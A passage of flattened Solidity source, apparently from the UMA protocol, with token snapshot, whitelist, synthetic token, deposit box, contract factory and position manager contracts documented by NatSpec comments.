please reach out to us. * ==== */ function _snapshot() internal virtual returns (uint256) { _currentSnapshotId.increment(); uint256 currentId = _currentSnapshotId.current(); emit Snapshot(currentId); return currentId; } /** * @dev Retrieves the balance of `account` at the time `snapshotId` was created. */ function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); return snapshotted ? value : balanceOf(account); } /** * @dev Retrieves the total supply at the time `snapshotId` was created. */ function totalSupplyAt(uint256 snapshotId) public view returns(uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots); return snapshotted ? value : totalSupply(); } // _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the // snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value. // The same is true for the total supply and _mint and _burn. function _transfer(address from, address to, uint256 value) internal virtual override { _updateAccountSnapshot(from); _updateAccountSnapshot(to); super._transfer(from, to, value); } function _mint(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._mint(account, value); } function _burn(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._burn(account, value); } function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0, "ERC20Snapshot: id is 0"); // solhint-disable-next-line max-line-length require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id"); // When a valid snapshot is queried, there are three possibilities: // a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never // created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds // to this id is the current one. // b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the // requested id, and its value is the one to return. // c) More snapshots were created after the requested one, and the queried value was later modified. There will be // no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is // larger than the requested one. // // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does // exactly this. uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } } function _updateAccountSnapshot(address account) private { _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); } function _updateTotalSupplySnapshot() private { _updateSnapshot(_totalSupplySnapshots, totalSupply()); } function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { uint256 currentId = _currentSnapshotId.current(); if (_lastSnapshotId(snapshots.ids) < currentId) { snapshots.ids.push(currentId); snapshots.values.push(currentValue); } } function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { if (ids.length == 0) { return 0; } else { return ids[ids.length - 1]; } } } contract AddressWhitelist is Ownable, Lockable { enum Status { None, In, Out } mapping(address => Status) public whitelist; address[] public whitelistIndices; event AddedToWhitelist(address indexed addedAddress); event RemovedFromWhitelist(address indexed removedAddress); /** * @notice Adds an address to the whitelist. * @param newElement the new address to add. */ function addToWhitelist(address newElement) external nonReentrant() onlyOwner { // Ignore if address is already included if (whitelist[newElement] == Status.In) { return; } // Only append new addresses to the array, never a duplicate if (whitelist[newElement] == Status.None) { whitelistIndices.push(newElement); } whitelist[newElement] = Status.In; emit AddedToWhitelist(newElement); } /** * @notice Removes an address from the whitelist. * @param elementToRemove the existing address to remove. */ function removeFromWhitelist(address elementToRemove) external nonReentrant() onlyOwner { if (whitelist[elementToRemove] != Status.Out) { whitelist[elementToRemove] = Status.Out; emit RemovedFromWhitelist(elementToRemove); } } /** * @notice Checks whether an address is on the whitelist. * @param elementToCheck the address to check. * @return True if `elementToCheck` is on the whitelist, or False. */ function isOnWhitelist(address elementToCheck) external view nonReentrantView() returns (bool) { return whitelist[elementToCheck] == Status.In; } /** * @notice Gets all addresses that are currently included in the whitelist. * @dev Note: This method skips over, but still iterates through addresses. It is possible for this call to run out * of gas if a large number of addresses have been removed. To reduce the likelihood of this unlikely scenario, we * can modify the implementation so that when addresses are removed, the last addresses in the array is moved to * the empty index. * @return activeWhitelist the list of addresses on the whitelist. */ function getWhitelist() external view nonReentrantView() returns (address[] memory activeWhitelist) { // Determine size of whitelist first uint256 activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { if (whitelist[whitelistIndices[i]] == Status.In) { activeCount++; } } // Populate whitelist activeWhitelist = new address[](activeCount); activeCount = 0; for (uint256 i = 0; i < whitelistIndices.length; i++) { address addr = whitelistIndices[i]; if (whitelist[addr] == Status.In) { activeWhitelist[activeCount] = addr; activeCount++; } } } } contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole { enum Roles { // Can set the minter and burner. Owner, // Addresses that can mint new tokens. Minter, // Addresses that can burn tokens that address owns. Burner } /** * @notice Constructs the ExpandedERC20. * @param _tokenName The name which describes the new token. * @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _tokenDecimals The number of decimals to define token precision. */ constructor( string memory _tokenName, string memory _tokenSymbol, uint8 _tokenDecimals ) public ERC20(_tokenName, _tokenSymbol) { _setupDecimals(_tokenDecimals); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0)); _createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0)); } /** * @dev Mints `value` tokens to `recipient`, returning true on success. * @param recipient address to mint to. * @param value amount of tokens to mint. * @return True if the mint succeeded, or False. */ function mint(address recipient, uint256 value) external override onlyRoleHolder(uint256(Roles.Minter)) returns (bool) { _mint(recipient, value); return true; } /** * @dev Burns `value` tokens owned by `msg.sender`. * @param value amount of tokens to burn. */ function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) { _burn(msg.sender, value); } } contract TestnetERC20 is ERC20 { /** * @notice Constructs the TestnetERC20. * @param _name The name which describes the new token. * @param _symbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _decimals The number of decimals to define token precision. */ constructor( string memory _name, string memory _symbol, uint8 _decimals ) public ERC20(_name, _symbol) { _setupDecimals(_decimals); } // Sample token information. /** * @notice Mints value tokens to the owner address. * @param ownerAddress the address to mint to. * @param value the amount of tokens to mint. */ function allocateTo(address ownerAddress, uint256 value) external { _mint(ownerAddress, value); } } contract SyntheticToken is ExpandedERC20, Lockable { /** * @notice Constructs the SyntheticToken. * @param tokenName The name which describes the new token. * @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param tokenDecimals The number of decimals to define token precision. */ constructor( string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals ) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {} /** * @notice Add Minter role to account. * @dev The caller must have the Owner role. * @param account The address to which the Minter role is added. */ function addMinter(address account) external nonReentrant() { addMember(uint256(Roles.Minter), account); } /** * @notice Remove Minter role from account. * @dev The caller must have the Owner role. * @param account The address from which the Minter role is removed. */ function removeMinter(address account) external nonReentrant() { removeMember(uint256(Roles.Minter), account); } /** * @notice Add Burner role to account. * @dev The caller must have the Owner role. * @param account The address to which the Burner role is added. */ function addBurner(address account) external nonReentrant() { addMember(uint256(Roles.Burner), account); } /** * @notice Removes Burner role from account. * @dev The caller must have the Owner role. * @param account The address from which the Burner role is removed. */ function removeBurner(address account) external nonReentrant() { removeMember(uint256(Roles.Burner), account); } /** * @notice Reset Owner role to account. * @dev The caller must have the Owner role. * @param account The new holder of the Owner role. */ function resetOwner(address account) external nonReentrant() { resetMember(uint256(Roles.Owner), account); } /** * @notice Checks if a given account holds the Minter role. * @param account The address which is checked for the Minter role. * @return bool True if the provided account is a Minter. */ function isMinter(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Minter), account); } /** * @notice Checks if a given account holds the Burner role. * @param account The address which is checked for the Burner role. * @return bool True if the provided account is a Burner. */ function isBurner(address account) public view nonReentrantView() returns (bool) { return holdsRole(uint256(Roles.Burner), account); } } contract DepositBox is FeePayer, AdministrateeInterface, ContractCreator { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; // Represents a single caller's deposit box. All collateral is held by this contract. struct DepositBoxData { // Requested amount of collateral, denominated in quote asset of the price identifier. // Example: If the price identifier is wETH-USD, and the `withdrawalRequestAmount = 100`, then // this represents a withdrawal request for 100 USD worth of wETH. FixedPoint.Unsigned withdrawalRequestAmount; // Timestamp of the latest withdrawal request. A withdrawal request is pending if `requestPassTimestamp != 0`. uint256 requestPassTimestamp; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; } // Maps addresses to their deposit boxes. Each address can have only one position. mapping(address => DepositBoxData) private depositBoxes; // Unique identifier for DVM price feed ticker. bytes32 private priceIdentifier; // Similar to the rawCollateral in DepositBoxData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned private rawTotalDepositBoxCollateral; // This blocks every public state-modifying method until it flips to true, via the `initialize()` method. bool private initialized; /**************************************** * EVENTS * ****************************************/ event NewDepositBox(address indexed user); event EndedDepositBox(address indexed user); event Deposit(address indexed user, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp); event RequestWithdrawalExecuted( address indexed user, uint256 indexed collateralAmount, uint256 exchangeRate, uint256 requestPassTimestamp ); event RequestWithdrawalCanceled( address indexed user, uint256 indexed collateralAmount, uint256 requestPassTimestamp ); /**************************************** * MODIFIERS * ****************************************/ modifier noPendingWithdrawal(address user) { _depositBoxHasNoPendingWithdrawal(user); _; } modifier isInitialized() { _isInitialized(); _; } /**************************************** * PUBLIC FUNCTIONS * ****************************************/ /** * @notice Construct the DepositBox. * @param _collateralAddress ERC20 token to be deposited. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM, used to price the ERC20 deposited. * The price identifier consists of a "base" asset and a "quote" asset. The "base" asset corresponds to the collateral ERC20 * currency deposited into this account, and it is denominated in the "quote" asset on withdrawals. * An example price identifier would be "ETH-USD" which will resolve and return the USD price of ETH. * @param _timerAddress Contract that stores the current time in a testing environment. * Must be set to 0x0 for production environments that use live time. */ constructor( address _collateralAddress, address _finderAddress, bytes32 _priceIdentifier, address _timerAddress ) public ContractCreator(_finderAddress) FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier"); priceIdentifier = _priceIdentifier; } /** * @notice This should be called after construction of the DepositBox and handles registration with the Registry, which is required * to make price requests in production environments. * @dev This contract must hold the `ContractCreator` role with the Registry in order to register itself as a financial-template with the DVM. * Note that `_registerContract` cannot be called from the constructor because this contract first needs to be given the `ContractCreator` role * in order to register with the `Registry`. But, its address is not known until after deployment. */ function initialize() public nonReentrant() { initialized = true; _registerContract(new address[](0), address(this)); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into caller's deposit box. * @dev This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public isInitialized() fees() nonReentrant() { require(collateralAmount.isGreaterThan(0), "Invalid collateral amount"); DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; if (_getFeeAdjustedCollateral(depositBoxData.rawCollateral).isEqual(0)) { emit NewDepositBox(msg.sender); } // Increase the individual deposit box and global collateral balance by collateral amount. _incrementCollateralBalances(depositBoxData, collateralAmount); emit Deposit(msg.sender, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Starts a withdrawal request that allows the sponsor to withdraw `denominatedCollateralAmount` * from their position denominated in the quote asset of the price identifier, following a DVM price resolution. * @dev The request will be pending for the duration of the DVM vote and can be cancelled at any time. * Only one withdrawal request can exist for the user. * @param denominatedCollateralAmount the quote-asset denominated amount of collateral requested to withdraw. */ function requestWithdrawal(FixedPoint.Unsigned memory denominatedCollateralAmount) public isInitialized() noPendingWithdrawal(msg.sender) nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(denominatedCollateralAmount.isGreaterThan(0), "Invalid collateral amount"); // Update the position object for the user. depositBoxData.withdrawalRequestAmount = denominatedCollateralAmount; depositBoxData.requestPassTimestamp = getCurrentTime(); emit RequestWithdrawal(msg.sender, denominatedCollateralAmount.rawValue, depositBoxData.requestPassTimestamp); // Every price request costs a fixed fee. Check that this user has enough deposited to cover the final fee. FixedPoint.Unsigned memory finalFee = _computeFinalFees(); require( _getFeeAdjustedCollateral(depositBoxData.rawCollateral).isGreaterThanOrEqual(finalFee), "Cannot pay final fee" ); _payFinalFees(address(this), finalFee); // A price request is sent for the current timestamp. _requestOraclePrice(depositBoxData.requestPassTimestamp); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and subsequent DVM price resolution), * withdraws `depositBoxData.withdrawalRequestAmount` of collateral currency denominated in the quote asset. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function executeWithdrawal() external isInitialized() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require( depositBoxData.requestPassTimestamp != 0 && depositBoxData.requestPassTimestamp <= getCurrentTime(), "Invalid withdraw request" ); // Get the resolved price or revert. FixedPoint.Unsigned memory exchangeRate = _getOraclePrice(depositBoxData.requestPassTimestamp); // Calculate denomated amount of collateral based on resolved exchange rate. // Example 1: User wants to withdraw $100 of ETH, exchange rate is $200/ETH, therefore user to receive 0.5 ETH. // Example 2: User wants to withdraw $250 of ETH, exchange rate is $200/ETH, therefore user to receive 1.25 ETH. FixedPoint.Unsigned memory denominatedAmountToWithdraw = depositBoxData.withdrawalRequestAmount.div( exchangeRate ); // If withdrawal request amount is > collateral, then withdraw the full collateral amount and delete the deposit box data. if (denominatedAmountToWithdraw.isGreaterThan(_getFeeAdjustedCollateral(depositBoxData.rawCollateral))) { denominatedAmountToWithdraw = _getFeeAdjustedCollateral(depositBoxData.rawCollateral); // Reset the position state as all the value has been removed after settlement. emit EndedDepositBox(msg.sender); } // Decrease the individual deposit box and global collateral balance. amountWithdrawn = _decrementCollateralBalances(depositBoxData, denominatedAmountToWithdraw); emit RequestWithdrawalExecuted( msg.sender, amountWithdrawn.rawValue, exchangeRate.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external isInitialized() nonReentrant() { DepositBoxData storage depositBoxData = depositBoxes[msg.sender]; require(depositBoxData.requestPassTimestamp != 0, "No pending withdrawal"); emit RequestWithdrawalCanceled( msg.sender, depositBoxData.withdrawalRequestAmount.rawValue, depositBoxData.requestPassTimestamp ); // Reset withdrawal request by setting withdrawal request timestamp to 0. _resetWithdrawalRequest(depositBoxData); } /** * @notice `emergencyShutdown` and `remargin` are required to be implemented by all financial contracts and exposed to the DVM, but * because this is a minimal demo they will simply exit silently. */ function emergencyShutdown() external override isInitialized() nonReentrant() { return; } /** * @notice Same comment as `emergencyShutdown`. For the sake of simplicity, this will simply exit silently. */ function remargin() external override isInitialized() nonReentrant() { return; } /** * @notice Accessor method for a user's collateral. * @dev This is necessary because the struct returned by the depositBoxes() method shows * rawCollateral, which isn't a user-readable value. * @param user address whose collateral amount is retrieved. * @return the fee-adjusted collateral amount in the deposit box (i.e. available for withdrawal). */ function getCollateral(address user) external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(depositBoxes[user].rawCollateral); } /** * @notice Accessor method for the total collateral stored within the entire contract. * @return the total fee-adjusted collateral amount in the contract (i.e. across all users). */ function totalDepositBoxCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Requests a price for `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePrice(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(priceIdentifier, requestedTime); } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(depositBoxData.rawCollateral, collateralAmount); return _addCollateral(rawTotalDepositBoxCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( DepositBoxData storage depositBoxData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(depositBoxData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalDepositBoxCollateral, collateralAmount); } function _resetWithdrawalRequest(DepositBoxData storage depositBoxData) internal { depositBoxData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); depositBoxData.requestPassTimestamp = 0; } function _depositBoxHasNoPendingWithdrawal(address user) internal view { require(depositBoxes[user].requestPassTimestamp == 0, "Pending withdrawal"); } function _isInitialized() internal view { require(initialized, "Uninitialized contract"); } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePrice(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { OracleInterface oracle = _getOracle(); require(oracle.hasPrice(priceIdentifier, requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(priceIdentifier, requestedTime); // For simplicity we don't want to deal with negative prices. if (oraclePrice < 0) { oraclePrice = 0; } return FixedPoint.Unsigned(uint256(oraclePrice)); } // `_pfc()` is inherited from FeePayer and must be implemented to return the available pool of collateral from // which fees can be charged. For this contract, the available fee pool is simply all of the collateral locked up in the // contract. function _pfc() internal virtual override view returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalDepositBoxCollateral); } } contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable { using FixedPoint for FixedPoint.Unsigned; /**************************************** * EMP CREATOR DATA STRUCTURES * ****************************************/ struct Params { uint256 expirationTimestamp; address collateralAddress; bytes32 priceFeedIdentifier; string syntheticName; string syntheticSymbol; FixedPoint.Unsigned collateralRequirement; FixedPoint.Unsigned disputeBondPct; FixedPoint.Unsigned sponsorDisputeRewardPct; FixedPoint.Unsigned disputerDisputeRewardPct; FixedPoint.Unsigned minSponsorTokens; uint256 withdrawalLiveness; uint256 liquidationLiveness; address excessTokenBeneficiary; } // - Address of TokenFactory to pass into newly constructed ExpiringMultiParty contracts address public tokenFactoryAddress; event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress); /** * @notice Constructs the ExpiringMultiPartyCreator contract. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances. * @param _timerAddress Contract that stores the current time in a testing environment. */ constructor( address _finderAddress, address _tokenFactoryAddress, address _timerAddress ) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() { tokenFactoryAddress = _tokenFactoryAddress; } /** * @notice Creates an instance of expiring multi party and registers it within the registry. * @param params is a `ConstructorParams` object from ExpiringMultiParty. * @return address of the deployed ExpiringMultiParty contract. */ function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) { address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params)); _registerContract(new address[](0), address(derivative)); emit CreatedExpiringMultiParty(address(derivative), msg.sender); return address(derivative); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ // Converts createExpiringMultiParty params to ExpiringMultiParty constructor params. function _convertParams(Params memory params) private view returns (ExpiringMultiParty.ConstructorParams memory constructorParams) { // Known from creator deployment. constructorParams.finderAddress = finderAddress; constructorParams.tokenFactoryAddress = tokenFactoryAddress; constructorParams.timerAddress = timerAddress; // Enforce configuration constraints. require(bytes(params.syntheticName).length != 0, "Missing synthetic name"); require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol"); require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0"); require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0"); require(params.excessTokenBeneficiary != address(0), "Token Beneficiary cannot be 0x0"); require(params.expirationTimestamp > now, "Invalid expiration time"); _requireWhitelistedCollateral(params.collateralAddress); // We don't want EMP deployers to be able to intentionally or unintentionally set // liveness periods that could induce arithmetic overflow, but we also don't want // to be opinionated about what livenesses are "correct", so we will somewhat // arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness // periods even greater than a few days would make the EMP unusable for most users. require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large"); require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large"); // Input from function call. constructorParams.expirationTimestamp = params.expirationTimestamp; constructorParams.collateralAddress = params.collateralAddress; constructorParams.priceFeedIdentifier = params.priceFeedIdentifier; constructorParams.syntheticName = params.syntheticName; constructorParams.syntheticSymbol = params.syntheticSymbol; constructorParams.collateralRequirement = params.collateralRequirement; constructorParams.disputeBondPct = params.disputeBondPct; constructorParams.sponsorDisputeRewardPct = params.sponsorDisputeRewardPct; constructorParams.disputerDisputeRewardPct = params.disputerDisputeRewardPct; constructorParams.minSponsorTokens = params.minSponsorTokens; constructorParams.withdrawalLiveness = params.withdrawalLiveness; constructorParams.liquidationLiveness = params.liquidationLiveness; constructorParams.excessTokenBeneficiary = params.excessTokenBeneficiary; } } contract PricelessPositionManager is FeePayer, AdministrateeInterface { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; using SafeERC20 for IERC20; using SafeERC20 for ExpandedIERC20; /**************************************** * PRICELESS POSITION DATA STRUCTURES * ****************************************/ // Stores the state of the PricelessPositionManager. Set on expiration, emergency shutdown, or settlement. enum ContractState { Open, ExpiredPriceRequested, ExpiredPriceReceived } ContractState public contractState; // Represents a single sponsor's position. All collateral is held by this contract. // This struct acts as bookkeeping for how much of that collateral is allocated to each sponsor. struct PositionData { FixedPoint.Unsigned tokensOutstanding; // Tracks pending withdrawal requests. A withdrawal request is pending if `withdrawalRequestPassTimestamp != 0`. uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; // Raw collateral value. This value should never be accessed directly -- always use _getFeeAdjustedCollateral(). // To add or remove collateral, use _addCollateral() and _removeCollateral(). FixedPoint.Unsigned rawCollateral; // Tracks pending transfer position requests. A transfer position request is pending if `transferPositionRequestPassTimestamp != 0`. uint256 transferPositionRequestPassTimestamp; } // Maps sponsor addresses to their positions. Each sponsor can have only one position. mapping(address => PositionData) public positions; // Keep track of the total collateral and tokens across all positions to enable calculating the // global collateralization ratio without iterating over all positions. FixedPoint.Unsigned public totalTokensOutstanding; // Similar to the rawCollateral in PositionData, this value should not be used directly. // _getFeeAdjustedCollateral(), _addCollateral() and _removeCollateral() must be used to access and adjust. FixedPoint.Unsigned public rawTotalPositionCollateral; // Synthetic token created by this contract. ExpandedIERC20 public tokenCurrency; // Unique identifier for DVM price feed ticker. bytes32 public priceIdentifier; // Time that this contract expires. Should not change post-construction unless an emergency shutdown occurs. uint256 public expirationTimestamp; // Time that has to elapse for a withdrawal request to be considered passed, if no liquidations occur. // !!Note: The lower the withdrawal liveness value, the more risk incurred by the contract. // Extremely low liveness values increase the chance that opportunistic invalid withdrawal requests // expire without liquidation, thereby increasing the insolvency risk for the contract as a whole. An insolvent // contract is extremely risky for any sponsor or synthetic token holder for the contract. uint256 public withdrawalLiveness; // Minimum number of tokens in a sponsor's position. FixedPoint.Unsigned public minSponsorTokens; // The expiry price pulled from the DVM. FixedPoint.Unsigned public expiryPrice; // The excessTokenBeneficiary of any excess tokens added to the contract. address public excessTokenBeneficiary; /**************************************** * EVENTS * ****************************************/ event RequestTransferPosition(address indexed oldSponsor); event RequestTransferPositionExecuted(address indexed oldSponsor, address indexed newSponsor); event RequestTransferPositionCanceled(address indexed oldSponsor); event Deposit(address indexed sponsor, uint256 indexed collateralAmount); event Withdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawal(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalExecuted(address indexed sponsor, uint256 indexed collateralAmount); event RequestWithdrawalCanceled(address indexed sponsor, uint256 indexed collateralAmount); event PositionCreated(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event NewSponsor(address indexed sponsor); event EndedSponsorPosition(address indexed sponsor); event Redeem(address indexed sponsor, uint256 indexed collateralAmount, uint256 indexed tokenAmount); event ContractExpired(address indexed caller); event SettleExpiredPosition( address indexed caller, uint256 indexed collateralReturned, uint256 indexed tokensBurned ); event EmergencyShutdown(address indexed caller, uint256 originalExpirationTimestamp, uint256 shutdownTimestamp); /**************************************** * MODIFIERS * ****************************************/ modifier onlyPreExpiration() { _onlyPreExpiration(); _; } modifier onlyPostExpiration() { _onlyPostExpiration(); _; } modifier onlyCollateralizedPosition(address sponsor) { _onlyCollateralizedPosition(sponsor); _; } // Check that the current state of the pricelessPositionManager is Open. // This prevents multiple calls to `expire` and `EmergencyShutdown` post expiration. modifier onlyOpenState() { _onlyOpenState(); _; } modifier noPendingWithdrawal(address sponsor) { _positionHasNoPendingWithdrawal(sponsor); _; } /** * @notice Construct the PricelessPositionManager * @param _expirationTimestamp unix timestamp of when the contract will expire. * @param _withdrawalLiveness liveness delay, in seconds, for pending withdrawals. * @param _collateralAddress ERC20 token used as collateral for all positions. * @param _finderAddress UMA protocol Finder used to discover other protocol contracts. * @param _priceIdentifier registered in the DVM for the synthetic. * @param _syntheticName name for the token contract that will be deployed. * @param _syntheticSymbol symbol for the token contract that will be deployed. * @param _tokenFactoryAddress deployed UMA token factory to create the synthetic token. * @param _minSponsorTokens minimum amount of collateral that must exist at any time in a position. * @param _timerAddress Contract that stores the current time in a testing environment. * @param _excessTokenBeneficiary Beneficiary to which all excess token balances that accrue in the contract can be * sent. * Must be set to 0x0 for production environments that use live time. */ constructor( uint256 _expirationTimestamp, uint256 _withdrawalLiveness, address _collateralAddress, address _finderAddress, bytes32 _priceIdentifier, string memory _syntheticName, string memory _syntheticSymbol, address _tokenFactoryAddress, FixedPoint.Unsigned memory _minSponsorTokens, address _timerAddress, address _excessTokenBeneficiary ) public FeePayer(_collateralAddress, _finderAddress, _timerAddress) nonReentrant() { require(_expirationTimestamp > getCurrentTime(), "Invalid expiration in future"); require(_getIdentifierWhitelist().isIdentifierSupported(_priceIdentifier), "Unsupported price identifier"); expirationTimestamp = _expirationTimestamp; withdrawalLiveness = _withdrawalLiveness; TokenFactory tf = TokenFactory(_tokenFactoryAddress); tokenCurrency = tf.createToken(_syntheticName, _syntheticSymbol, 18); minSponsorTokens = _minSponsorTokens; priceIdentifier = _priceIdentifier; excessTokenBeneficiary = _excessTokenBeneficiary; } /**************************************** * POSITION FUNCTIONS * ****************************************/ /** * @notice Requests to transfer ownership of the caller's current position to a new sponsor address. * Once the request liveness is passed, the sponsor can execute the transfer and specify the new sponsor. * @dev The liveness length is the same as the withdrawal liveness. */ function requestTransferPosition() public onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp == 0, "Pending transfer"); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp, "Request expires post-expiry"); // Update the position object for the user. positionData.transferPositionRequestPassTimestamp = requestPassTime; emit RequestTransferPosition(msg.sender); } /** * @notice After a passed transfer position request (i.e., by a call to `requestTransferPosition` and waiting * `withdrawalLiveness`), transfers ownership of the caller's current position to `newSponsorAddress`. * @dev Transferring positions can only occur if the recipient does not already have a position. * @param newSponsorAddress is the address to which the position will be transferred. */ function transferPositionPassedRequest(address newSponsorAddress) public onlyPreExpiration() noPendingWithdrawal(msg.sender) nonReentrant() { require( _getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual( FixedPoint.fromUnscaledUint(0) ), "Sponsor already has position" ); PositionData storage positionData = _getPositionData(msg.sender); require( positionData.transferPositionRequestPassTimestamp != 0 && positionData.transferPositionRequestPassTimestamp <= getCurrentTime(), "Invalid transfer request" ); // Reset transfer request. positionData.transferPositionRequestPassTimestamp = 0; positions[newSponsorAddress] = positionData; delete positions[msg.sender]; emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress); emit NewSponsor(newSponsorAddress); emit EndedSponsorPosition(msg.sender); } /** * @notice Cancels a pending transfer position request. */ function cancelTransferPosition() external onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp != 0, "No pending transfer"); emit RequestTransferPositionCanceled(msg.sender); // Reset withdrawal request. positionData.transferPositionRequestPassTimestamp = 0; } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position. * @dev Increases the collateralization level of a position after 